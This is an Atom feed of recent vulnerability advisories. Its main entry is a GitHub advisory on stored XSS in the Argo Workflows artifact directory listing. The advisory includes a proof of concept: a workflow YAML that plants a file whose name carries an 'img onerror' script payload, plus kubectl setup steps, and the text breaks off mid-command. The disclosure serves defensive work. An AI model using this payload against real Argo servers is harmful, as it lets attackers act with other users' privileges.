<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-24T09:34:32.149570+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/euvd-2026-337473</id>
    <title>EUVD-2026-337473</title>
    <updated>2026-10-24T09:34:32.151982+00:00</updated>
    <content>EUVD-2026-337473</content>
    <link href="https://cve.radiocsirt.org/vuln/euvd-2026-337473"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/fkie_cve-2026-23960</id>
    <title>fkie_cve-2026-23960</title>
    <updated>2026-10-24T09:34:32.152013+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Prior to versions 3.6.17 and 3.7.8, stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges. Versions 3.6.17 and 3.7.8 fix the issue.</p>
      </div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/fkie_cve-2026-23960"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-cv78-6m8q-ph82</id>
    <title>GHSA-cv78-6m8q-ph82 — Argo Workflows affected by stored XSS in the artifact directory listing</title>
    <updated>2026-10-24T09:34:32.152045+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Go: github.com/argoproj/argo-workflows/v3, Go: github.com/argoproj/argo-workflows</p>
<p>### Summary
Stored XSS in the artifact directory listing allows any workflow author to execute arbitrary JavaScript in another user’s browser under the Argo Server origin, enabling API actions with the victim’s privileges.</p>
<p>### Details
The directory listing response in `server/artifacts/artifact_server.go` renders object names directly into HTML via `fmt.Fprintf` without escaping. Object names come from `driver.ListObjects(...)` and are attacker‑controlled when a workflow writes files into an output artifact directory.</p>
<p>https://github.com/argoproj/argo-workflows/blob/9872c296d29dcc5e9c78493054961ede9fc30797/server/artifacts/artifact_server.go#L194-L244</p>
<p>### PoC
1. Deploy Argo Workflows:
```
kubectl create ns argo
kubectl apply --server-side -f manifests/base/crds/full
kubectl apply --server-side -k manifests/quick-start/postgres
```
2. Port‑forward Argo Server:
```
kubectl -n argo port-forward deploy/argo-server 2746:2746
```
3. Create the PoC workflow:
```yml
cat &gt; /tmp/argo-xss.yaml &lt;&lt;'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
  generateName: xss-artifact-test-
spec:
  entrypoint: main
  templates:
  - name: main
    container:
      image: alpine
      command: [sh, -c]
      args:
      - |
        mkdir -p /tmp/artifacts
        touch '/tmp/artifacts/xss"&gt;&lt;img src=x onerror="alert(document.domain)"&gt;.html'
    outputs:
      artifacts:
      - name: dir
        path: /tmp/artifacts
        archive:
          none: {}
EOF
```
```
kubectl -n argo creat…</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-cv78-6m8q-ph82"/>
  </entry>
</feed>
